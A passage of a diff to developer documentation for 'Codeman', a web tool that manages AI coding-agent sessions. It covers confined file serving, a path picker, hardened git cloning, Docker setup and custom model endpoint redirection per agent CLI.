../secret.bin` is not served and a FIFO or device behind a supported name never reaches `open`), then `folderAllowedForUser` once more on the resolved file, before `serveServableRaw` (the attachment raw route's body, shared) streams it. So browser requests still never carry a path. ⚠️ Grants live in their own registry (`folderGrants`, 32 per session, cleared with the session's attachments), NOT the attachment registry: that one is capped at 200 per session, and paging a folder of 300 renders would evict the session's real attachments. ⚠️ A local folder is never touched unbounded (#516 rule): a folder on a network mount that stopped answering answers 503 with `describeUnknownPath()`, not 404 and not a frozen server. ⚠️ The remote listing script tells "missing" (`E|n`, 404) from "is a file" (`E|f`, 400 `Not a folder`), because the client falls back to the file preview on `Not a folder`; a remote extensionless file otherwise answered "Folder not found". ⚠️ `.folder-grid-overlay` sits at `z-index: 5090`, one step BELOW the preview (5100) and above the response viewer (5000): a tile's preview opens on top and closing it lands back on the grid. ⚠️ ←/→/Esc are handled in a document CAPTURE listener with `stopPropagation`, because the terminal keeps keyboard focus under the overlays and an arrow that reached xterm would be typed into the session; inputs other than xterm's helper textarea keep their keys. ⚠️ A route PARAMETER is capped by the router (Fastify's default is 100 characters, answered as 404 "Route not found"), and a file name goes up to 255, percent-encoded: the server sets `routerOptions.maxParamLength` to `MAX_ROUTE_PARAM_LENGTH` (route-helpers.ts), the route test harness uses the same constant, and a wiring guard pins it. ⚠️ `~/` in a Docker case is refused with 400 (attachment POST and `POST …/folders`): the session is local for these routes, but `~` inside the container is the container's own home, and expanding it on the host would open a different file than the one the agent printed. Tests: `test/routes/folder-grid-routes.test.ts` (incl. the listing script on a real `sh`), `test/folder-grid-ui.test.ts`.
@@ -429,7 +455,7 @@ The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLin
### Filesystem path picker
**Filesystem path picker** (Link Existing "Browse" button + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file. It starts at the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root), hides dot entries, and inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command.
**Filesystem path picker** (every Add Case "Browse" button: Link Existing, Create New's custom folder, Clone Repo, Docker; + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file (Docker's Container Workdir picker passes its own `fetchListing` over `POST /api/docker-cases/browse` instead, admin-only, which always lists dot entries and skips the allowlist, blocked-tree and ownership rules below). It starts at the form field's value or, for the `📁 Path` key, the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root) and hides dot entries. A Browse fills its form field; the `📁 Path` key inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag.
⚠️ **This is a second file-serving surface, so it carries the same confinement burden as [Attachments](#attachments) and does not inherit it automatically.** Traversal is allowlisted to Home, `CASES_DIR`, `/mnt/d`, or extra roots explicitly configured via `CODEMAN_FILE_PICKER_ROOTS`; sensitive trees are blocked and symlink escapes are rejected after `realpath` resolution rather than before. Without the realpath step a symlink inside an allowed root would walk straight out of it. `preview` reuses the shared conversion cache and the **global** `document-conversion-limiter`, which is what stops N concurrent large-document previews from forking N multi-minute converter processes. Content types are pinned: images and PDF inline, DOCX/PPTX through the converters, and Markdown/TXT/JSON as inert `text/plain` (never `text/html`, which would be stored XSS on our own origin). Size caps are 2MB for text and 50MB for binary/document previews.
@@ -468,18 +494,20 @@ Tests: `test/file-preview-markdown.test.ts` (jsdom-in-vm, pins every rule above)
### Clone a repository as a case
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`).
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`). An optional `path` is the folder the repository is cloned INTO, exactly as given (the API adds no case-name subfolder; the **Clone into a custom folder** field on the page is a parent, so the tab sends `<folder>/<case name>`, see UI below), and it registers a LINKED case, the same way `POST /api/cases` with a `path` does: it is judged by `prepareNewCasePath()` (`web/case-path.ts`: blocked trees, symlinks, parent must exist), is admin-only in multi-user mode (it writes an absolute path into the shared linked-cases registry), and must be empty or not exist yet. An existing empty folder is cloned into directly (`CloneOptions.intoEmptyDir`: no temporary sibling and no rename, so a mount point works; a failed attempt empties it again but never removes it); a folder with anything in it is refused. Deleting such a case unlinks it and never removes the files. If the registry write fails after git finished, the folder is kept and the error says where it is. The name is checked again inside `mutateLinkedCases()` when the entry is written, so of two clones that claim one name only the first to finish links it; the other answers 409 `ALREADY_EXISTS` and keeps its folder.
- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ In multi-user mode a NON-ADMIN's clone and preflight run with `git -c credential.helper=` (`cloneWithoutCredentialHelpers`), because the helpers belong to the one server account every user shares; admins and single-user mode keep them. The Docker server image relies on exactly this: when built with the opt-in `CODEMAN_INSTALL_GH`/`CODEMAN_INSTALL_AZ` args it configures `gh` (github.com) and an `az`-backed helper (`docker/git-credential-azure-cli`, Azure DevOps) in its SYSTEM gitconfig, both silent until the user signs the CLI in, so a private clone there still fails fast rather than prompting.
- ⚠️ **Bounded in time, output and concurrency.** Timeout → SIGTERM → SIGKILL, signalled to the whole process GROUP (`detached: true`, negative pid) because `git clone` fans out into `git-remote-https`/`index-pack` children that a polite signal to the parent leaves running. stderr is kept as a bounded, credential-redacted, control-stripped TAIL; `ls-remote` stdout is capped and refs are capped at 500 each. A small global pool (default 2, `CODEMAN_MAX_GIT_OPERATIONS`) caps concurrent git network ops, same reasoning as `document-conversion-limiter.ts`.
- ⚠️ **A direct clone's cleanup has a premise.** One direct (`intoEmptyDir`) clone per folder runs at a time, and a failed one empties the folder only when git actually ran (`GitRun.started`: a full queue or a slot wait that timed out wrote nothing) and did not refuse the folder. That refusal is read from git's own `already exists and is not an empty directory` text, tested directly and never through the classifier's code: the message quotes the path, and a folder named `openssl` once classified as unreachable. A folder whose mount stopped answering is left alone too (`probePathKind()`), so no libuv worker is held on it.
- ⚠️ **No clone at or inside a Docker case workspace, with or without a `path`.** Git would run the new repository's hooks and filters on the host. Refused `400` on both branches.
- **Repository contents beat scaffolding.** An existing `CLAUDE.md` is kept (a generated one is written only when absent) and hooks are MERGED into whatever `.claude/settings.local.json` the repo shipped. A repo that ships its own `.claude/settings*.json` is reported back as a warning, because repo-supplied hooks run on the user's machine as soon as a session starts there.
- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
- **UI** (`case-clone` tab in the Add Case modal): the **Clone into a custom folder** field is a PARENT folder, like Create New's: the tab sends `<folder>/<case name>` as `path` (`_cloneTargetPath()`), so the API's `path` stays the exact target; debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint), `test/clone-custom-folder-ui.test.ts` (the tab's parent folder, the request and the preview, against the real markup).
Further detail: the synchronous clone request is bounded by `GIT_CLONE_TIMEOUT_MS`.
@@ -612,6 +640,10 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
`CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1` drops `--memory-swap` (and filters only that one kernel warning) for hosts without swap accounting; `--memory` still applies.
⚠️ **`docker/.env` is generated FROM `.env.example`, at 0600, never from a list of keys.** `Start-Codeman.sh`'s first run (only when nothing exists at that path: a dangling symlink or a directory is refused) rewrites the five `KEY=` lines it asks about and copies every other line, because `diffRequiredEnvKeys` refuses an in-app update while the user's file lacks a key the target release's example sets, so a hand-picked subset would block the very next update. Compose's dotenv is not bash: a backslash escapes a single-quoted value's closing quote (measured on 2.33.0 and 5.5.0), so `accept_password` and `accept_appdata_path` refuse a trailing backslash as well as a single quote. Compose also prefers the shell environment over the file, so setup unsets what it wrote, or a preset would beat a typed answer. `test/docker-start-setup.test.ts` pins all of it, against a stub that reproduces both rules.
⚠️ **`changeme` is refused by BOTH scripts**, before anything is built or stopped: the container publishes on every interface and holds the Docker socket, so that password is host root. `Update-Codeman.sh` needs its own check, ahead of its `down`, because a refusal found only at the handoff to `Start-Codeman.sh` would leave the stack stopped.
⚠️ The deployment ALSO self-updates in place (the repo bind mount at `/opt/codeman` + a restart-by-exiting supervisor) — see Self-update and `docs/docker-self-update.md` before touching `server.Dockerfile`, the compose file or `.env.example`, since each is an input to the updater's environment gate. User guides: `docs/docker-compose.md` + `docker/README.md`.
### DeepSeek web UI
@@ -628,17 +660,17 @@ Adding the header changed the preamble, so `CODEMAN_PREAMBLE` was bumped (1.22.0
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`, design doc `docs/custom-model-endpoints-plan.md`; full stack — settings-panel CRUD + the Run-menu picker, on top of the backend below): points a session at a user-configured custom OpenAI-compatible endpoint — local (llama.cpp, DGX Spark, Strix Halo) or cloud (Azure AI Foundry, OpenRouter) — instead of its harness's native cloud backend. Endpoints are a read/write-array store (`custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`) discovered via `GET <baseUrl>/v1/models`; `CustomModelHost.authStyle` is `'bearer'` (default, `Authorization: Bearer`) or `'api-key'` (Azure's convention) — **never both**, live-tested against a real server: sending both headers on one request reliably hangs it indefinitely, reproduced 3×.
⚠️ The actual per-CLI redirect is `capabilities.customModelInjection` on the CLI registry (four kinds: `env` for claude/gemini/deepseek, `configContentEnv` reusing opencode's existing `OPENCODE_CONFIG_CONTENT`, `configDir` for codex/pi/grok/omp — writes an isolated per-session config file, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config — and `unsupported` for antigravity, which has no known mechanism), computed by the pure `custom-model-injection.ts` (mirrors `session-cli-builder.ts`'s no-IO discipline). ⚠️ `PI_CONFIG_DIR` does NOTHING for pi or omp (grepped pi's entire bundled JS source — the string appears nowhere); both hardcode `~/.pi/agent/models.json` / `~/.omp/agent/models.yml` with no dedicated override, so the real redirect for both is the child process's own **`HOME`**, and both need `models` as an ARRAY of `{id}` objects (an object keyed by id silently loads zero models). Grok's real mechanism turned out to be a `config.toml` `[model.<name>]` block redirected via `GROK_HOME` — its original env-var-based recipe was flat-out wrong (produced "Not signed in" against a real binary), not just unverified.
⚠️ The actual per-CLI redirect is `capabilities.customModelInjection` on the CLI registry (four kinds: `env` for claude/gemini/copilot, `configContentEnv` reusing opencode's existing `OPENCODE_CONFIG_CONTENT`, `configDir` for codex/pi/grok/omp/deepseek, writes an isolated per-session config file, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config/dsh home; deepseek's redirect is a per-session `DSH_HOME` holding only the generated `cordis.patch.yml`, whose `linkFromRealHome` recipe field symlinks `profiles`/`sessions`/`settings.yaml` back out of the real dsh home (resolved session-`DSH_HOME`-first, lstat-guarded so a dangling link survives re-apply) instead of stranding them, and `unsupported` for antigravity, which has no known mechanism), computed by the pure `custom-model-injection.ts` (mirrors `session-cli-builder.ts`'s no-IO discipline). ⚠️ `PI_CONFIG_DIR` does NOTHING for pi or omp (grepped pi's entire bundled JS source, the string appears nowhere); both hardcode `~/.pi/agent/models.json` / `~/.omp/agent/models.yml` with no dedicated override, so the real redirect for both is the child process's own **`HOME`**, and both need `models` as an ARRAY of `{id}` objects (an object keyed by id silently loads zero models). Grok's real mechanism turned out to be a `config.toml` `[model.<name>]` block redirected via `GROK_HOME`, its original env-var-based recipe was flat-out wrong (produced "Not signed in" against a real binary), not just unverified.
⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()` — a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share — because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name): that is the registry's `customModelInjection.launchModel` template, applied onto the respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id, and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model; never the values, which carry the API key and are re-derived from the endpoint store on recovery), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
⚠️ **Two launch paths, chosen by mechanism, not preference**: opencode/codex/gemini/pi/grok/deepseek/omp apply the selection ONE-SHOT, before the session/process ever exists, with no restart at all; claude alone still applies a selection by **restarting the session's CLI process in place** via `Session.restartCli()`, a de-restricted `reattachRemote()` reusing the same `respawn-pane -k` primitive local/remote respawns already share, because every one of these harnesses reads its endpoint config at process start, never per-turn, so there is no live hot-swap; `Session.setCustomModel()` undoes the PREVIOUS selection's env keys (and deletes its old `configDir`) before merging the new ones in, so switching endpoints or clearing back to native cloud never leaves a stale key behind. It also puts back what the session had set itself under an injected key (`CustomModelBookkeeping.ownEnv`, read after the undo so a switch carries it across): an own `DSH_HOME` or `CLAUDE_CONFIG_DIR` used to be deleted with the injected value, which moved the session to the server's tree or the default Claude account. ⚠️ `ownEnv` can hold a credential in memory, so `getCustomModelForPersist()` writes only its `homeEnvVar` entry, and only as an absolute path (the registry types that name as any env var, so a `clis.json` override can point it at a credential), which it must write because the selection overwrote the tmux `setenv` that was the only other copy. `_restoreCustomModel()` always states `ownEnv` (empty for an older record) after `clampEnvOverridesForOwner()`: after a restart `_envOverrides` holds what the previous run INJECTED, and reading that as the session's own would pin it to a directory the clear deletes. The re-apply's real-home lookup has the same rule: the route reads `Session.ownEnvValue()` and recovery that clamped record (probed under the bulk cap, since it walks every saved session), never `envOverrideValue()`, so an entry the own home lacks is skipped rather than filled from the server's home. Quick-start hands the `Session` constructor the caller's overrides alone so `setCustomModel()` can see them. ⚠️ Deleting a key from `_envOverrides` is NOT enough on its own: `tmux setenv` persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so the retired keys are queued (`_pendingEnvUnsets`) and ride `RespawnPaneOptions.unsetEnvKeys` into `applyEnvOverrides()`, which `setenv -u`s them BEFORE re-applying the live overrides. ⚠️ `restartCli()` relaunches a CLI in an existing pane, so a CLI whose launch declares a `fallback` chain (claude) gets a conversation pinned as `resumeSessionId` for that one respawn: `--session-id <id>` refuses an id that already has a transcript (`Session ID ... is already in use`), and without the `--resume <id> || --session-id <id>` shape the docker/remote pane commands already use, applying a model killed the pane and lost the session. ⚠️ The pin looks in `<isolated>/projects`, so `linkSharedProjectsDir()` links it from the session's own `CLAUDE_CONFIG_DIR` when it has one (`guardSessionConfigDirHome()` covers `configDirVar` too): the server's tree would hide the conversation on apply and leave the endpoint's transcript behind on clear. The dead-pane respawn shares this pin, see [Dead-pane respawn: the resume pin](#dead-pane-respawn-the-resume-pin). ⚠️ pi, omp and grok need the config file AND a `model` launch param (`custom/<id>` for pi/omp, grok's `[model.codeman-custom]` block name), and codex gets one too (`--model <bare modelId>`, its pattern changed to `model-plain-colon`, which admits qwen3-style colon ids and requires a letter or digit first, for the native App Settings Codex model too): that is the registry's `customModelInjection.launchModel` template, applied onto the create and respawn options through `legacyConfigField` by `_withCustomModelLaunchModel()`, never by id and never onto the stored `<Mode>Config` (that config is what a clear falls back to; the quick-start route used to write the launch model there, so a clear relaunched the endpoint's id on the native backend), and a model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. ⚠️ Remote (SSH) and Docker sessions are REFUSED (400): their `restartCli()` reattaches a durable tmux rather than restarting the agent and the env lands on the local pane, so they used to report `restarted:true` and change nothing. The selection survives a Codeman restart as the disk-only `__customModel` (bookkeeping: env KEYS, config dir, launch model, `homeEnvVar` and the session's own home path; never an injected value, which carries the API key and is re-derived from the endpoint store on recovery, and never any other own value), the config dir is removed with the session, and every secret-bearing file (`custom-model-hosts.json`, the per-session config dir) is written 0600.
⚠️ **Security**: every env var this feature can redirect (`ANTHROPIC_BASE_URL`, `GOOGLE_GEMINI_BASE_URL`, `CODEX_HOME`, `GROK_HOME`, `HOME` for pi/omp, `OPENCODE_CONFIG_CONTENT`, etc.) is in that CLI's `privilegedEnvKeys` — several of these were reachable via the generic `envOverrides` field's prefix allowlist BEFORE this feature existed (the env allowlist is global and prefix-based, not per-CLI-scoped), so building this surfaced and closed a pre-existing gap rather than opening a new one. `ANTHROPIC_*` is deliberately NOT in claude's `allowedPrefixes` at all — Anthropic-traffic redirection can only happen through this feature's own admin-configured, SSRF-guarded route, never a plain client-supplied `envOverrides`.
**Confidence, verified end-to-end against a real llama-swap server via the DYNAMIC `scripts/test-local-llm-harnesses.ts`** (reads the live CLI registry, so a registry change needs zero script edits): claude/opencode/pi/grok/omp **PASS**; codex config structure is correct, and codex only speaks the Responses API since Feb 2026 (`wire_api = "responses"`) — re-verified live against a llama-swap deployment that DOES answer `/v1/responses` (an earlier test's harder failure against a different deployment does not reproduce everywhere): a plain, no-tool-call chat turn gets a real reply, but a real tool-call attempt came back as `agent_message` TEXT (the tool-call JSON printed as the answer) rather than an executable `function_call` item — confirmed via `codex exec --json`'s raw event stream. Tool execution is what makes codex a coding agent, so it remains not usable for real work either way, just with a more precise failure mode than a flat protocol break; gemini fails with `Invalid auth method selected` (an undocumented `GATEWAY` AuthType gemini-cli selects once `GOOGLE_GEMINI_BASE_URL` is set — unresolved after real investigation); deepseek's originally-reported `HTTP_404` is root-caused and fixed — its bundled `@deepseek-ai/dsh-llm-deepseek` module builds `${DEEPSEEK_BASE_URL}/chat/completions` with no `/v1` of its own (confirmed by installing the real package and reading its source), so a new `appendV1Suffix` flag on its registry entry (alone — claude/gemini must not get it) runs `endpoint.baseUrl` through `withV1Suffix()` before writing it, live-confirmed against llama-swap (`.../chat/completions` 404s, `.../v1/chat/completions` succeeds) though not yet re-run through an actual `dsh` binary, which isn't installable in this environment; antigravity has no known mechanism at all. See the confidence table in `docs/custom-model-endpoints-plan.md` for the full detail on each.
**Confidence, verified end-to-end against a real llama-swap server via the DYNAMIC `scripts/test-local-llm-harnesses.ts`** (reads the live CLI registry, so a registry change needs zero script edits): claude/opencode/pi/grok/omp **PASS**; codex config structure is correct, and codex only speaks the Responses API since Feb 2026 (`wire_api = "responses"`), re-verified live against a llama-swap deployment that DOES answer `/v1/responses` (an earlier test's harder failure against a different deployment does not reproduce everywhere): a plain, no-tool-call chat turn gets a real reply, but a real tool-call attempt came back as `agent_message` TEXT (the tool-call JSON printed as the answer) rather than an executable `function_call` item, confirmed via `codex exec --json`'s raw event stream. Tool execution is what makes codex a coding agent, so it remains not usable for real work either way, just with a more precise failure mode than a flat protocol break; gemini fails with `Invalid auth method selected` (an undocumented `GATEWAY` AuthType gemini-cli selects once `GOOGLE_GEMINI_BASE_URL` is set, unresolved after real investigation); deepseek's originally-reported `HTTP_404` is root-caused and fixed, its bundled `@deepseek-ai/dsh-llm-deepseek` module builds `${DEEPSEEK_BASE_URL}/chat/completions` with no `/v1` of its own (confirmed by installing the real package and reading its source), live against llama-swap (`.../chat/completions` 404s, `.../v1/chat/completions` succeeds), and the env-var redirect that first fixed it has since been REPLACED by a `configDir` recipe: a per-session `DSH_HOME` carrying only a generated `cordis.patch.yml` that declares a `codeman-custom` `openai-completions` provider over the installed profile, with the `/v1` fix living in `renderConfigFile`'s shared `withV1Suffix()` (every file template applies it; the `env` kind's `appendV1Suffix` flag now belongs to copilot alone) and the session's state symlinked back from the real dsh home; a real "hello world" reply through an actual `dsh` binary has since been verified live by the maintainer (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1: `--dump-config` shows the patched rows, the TUI boots on the chosen model, and a prompt reaches the endpoint as `POST /v1/chat/completions` with the reply rendering in the TUI), so this is verified end-to-end like the harnesses above; antigravity has no known mechanism at all. See the confidence table in `docs/custom-model-endpoints-plan.md` for the full detail on each.
⚠️ **The Run-menu picker generates entries from `window.__codemanCustomModelClis`** (`server.ts`, injected at page render from `enabledClis().filter(kind==='agent' && customModelInjection.kind!=='unsupported')`, JSON-escaped against a literal `</script>` via the exported `escapeScriptJson()` since `label` is a user-`clis.json`-settable string unlike the neighbouring booleans-only `__codemanCliAvailable`), never a hardcoded per-CLI id list in the frontend — the same "no branching on CLI id outside stock.ts" discipline the registry itself enforces. One entry per (capable, INSTALLED CLI, saved endpoint) pair, e.g. "Claude Code (llama.cpp)", filtered through `isCliAvailable()` like the stock entries. Clicking one calls `selectCustomModelEntry(mode, endpointId)` (`session-ui.js`), which re-fetches the endpoint (never trusts anything cached from the dropdown's render — the 5-minute sweep below or a settings edit may have changed it since) and decides the model: exactly one discovered model launches straight away, two or more open `#customModelPickModal` to ask, with `defaultModelId` marked but never auto-chosen (asking exists so ONE launch can deliberately differ from the saved default).
⚠️ **The picker promotes exactly one row to the top**: whichever model llama-swap reports `ready` right now (tagged "Currently loaded", queried via `GET /api/model-endpoints/:id/running-status`, client-side bounded to ~800ms via `Promise.race` so a sleeping/firewalled endpoint cannot leave the modal invisible for the route's own 5s server-side timeout) beats a merely remembered choice, and — only when nothing is currently loaded — the model actually launched last for this exact (harness, endpoint) pair (tagged "Last used", read from the per-device `codeman:customModelLastUsed:<mode>:<endpointId>` localStorage key). Neither tag reorders past the top, and the "Default" pill is a SEPARATE span rather than a third value of the same slot, so a promoted row that is also the endpoint's `defaultModelId` shows both (on a single-purpose GPU box that is the common case; an exclusive slot silently dropped the Default marking for exactly that row). "Last used" is written by `_runCustomModelEntryViaRestart` (claude) and `_quickStartWithCustomModelConfirm` (every one-shot launch; `runCustomModelEntry` itself only dispatches between the two) only once the model is actually applied — never on the mere click — because a context-window-warning decline means this exact model cannot work with this CLI at all, and promoting a model that cannot launch would be actively wrong, not just premature.
⚠️ **The picker promotes exactly one row to the top**: whichever model llama-swap reports `ready` right now (tagged "Currently loaded", queried via `GET /api/model-endpoints/:id/running-status`, client-side bounded to ~800ms via `Promise.race` so a sleeping/firewalled endpoint cannot leave the modal invisible for the route's own 5s server-side timeout) beats a live session's pin (tagged "In use by a session": `_getCustomModelInUseBySession` walks `this.sessions` for one of your own sessions whose `customModel.endpointId` is that host, newest `createdAt` wins), which applies only when nothing is currently loaded and beats a merely remembered choice, the model actually launched last for this exact (harness, endpoint) pair (tagged "Last used", read from the per-device `codeman:customModelLastUsed:<mode>:<endpointId>` localStorage key). ⚠️ The pin reads only `customModel`, never `displayModel` (screen-scraped display text: a terminal that merely printed a matching string is not evidence), and never counts a session with `status: 'stopped'`, a null `pid` (its PTY exited) or a recorded `paneExit`, the same live-pane test keep-warm applies. ⚠️ When nothing was promoted and the probe answered `isLlamaSwap: false` (the shape `getLlamaSwapStatus` gives for EVERY failure it catches, a down or refused endpoint included, so the line claims only that nothing was reported), the static `#customModelPickUnknown` line says so out loud; its `[hidden]` rule must keep `display: none !important` scoped to `#customModelPickModal`, because `.form-hint`'s `display: block` outranks the UA `[hidden]` rule. Neither tag reorders past the top, and the "Default" pill is a SEPARATE span rather than a third value of the same slot, so a promoted row that is also the endpoint's `defaultModelId` shows both (on a single-purpose GPU box that is the common case; an exclusive slot silently dropped the Default marking for exactly that row). "Last used" is written by `_runCustomModelEntryViaRestart` (claude) and `_quickStartWithCustomModelConfirm` (every one-shot launch; `runCustomModelEntry` itself only dispatches between the two) only once the model is actually applied, never on the mere click, because a context-window-warning decline means this exact model cannot work with this CLI at all, and promoting a model that cannot launch would be actively wrong, not just premature.
Either way the actual launch (`runCustomModelEntry`) routes through `run()` itself via a temporary `_runMode` swap — never `setRunMode()`, which would persist it as the user's new default — rather than a parallel dispatch table, which is what gives a custom-model launch the same `_runInFlight` lock every other Run click gets and means a CLI whose injection recipe lands later needs no update here. It then GETs `/api/sessions/:id/wait?until=idle&timeout=20000` on that session BEFORE applying — measured live, a freshly launched CLI reports itself `busy` for its own startup (boot spinner, workspace-trust check) well before the apply call would otherwise reach it, and the apply route's `isBusy()` guard correctly can't tell that apart from a real turn in progress, so every fresh launch failed with `SESSION_BUSY` until this wait was added. A timeout there is a normal 200 per the wait endpoint's own contract, never an error, so a session still busy after 20s just reaches the apply call anyway and gets that route's own honest error. It then calls `POST /api/sessions/:id/custom-model` on the session `run()` produced, guarded by snapshotting `activeSessionId` before the call and requiring it to have actually changed after — every `run*()` handles its own failure internally and returns normally rather than throwing, so a declined/failed launch must not silently re-point and restart whatever session was already open.
@@ -726,9 +758,33 @@ Frontend `readmymind-ui.js`: header 🧠 marker-hidden (`btn-readmymind--hidden`
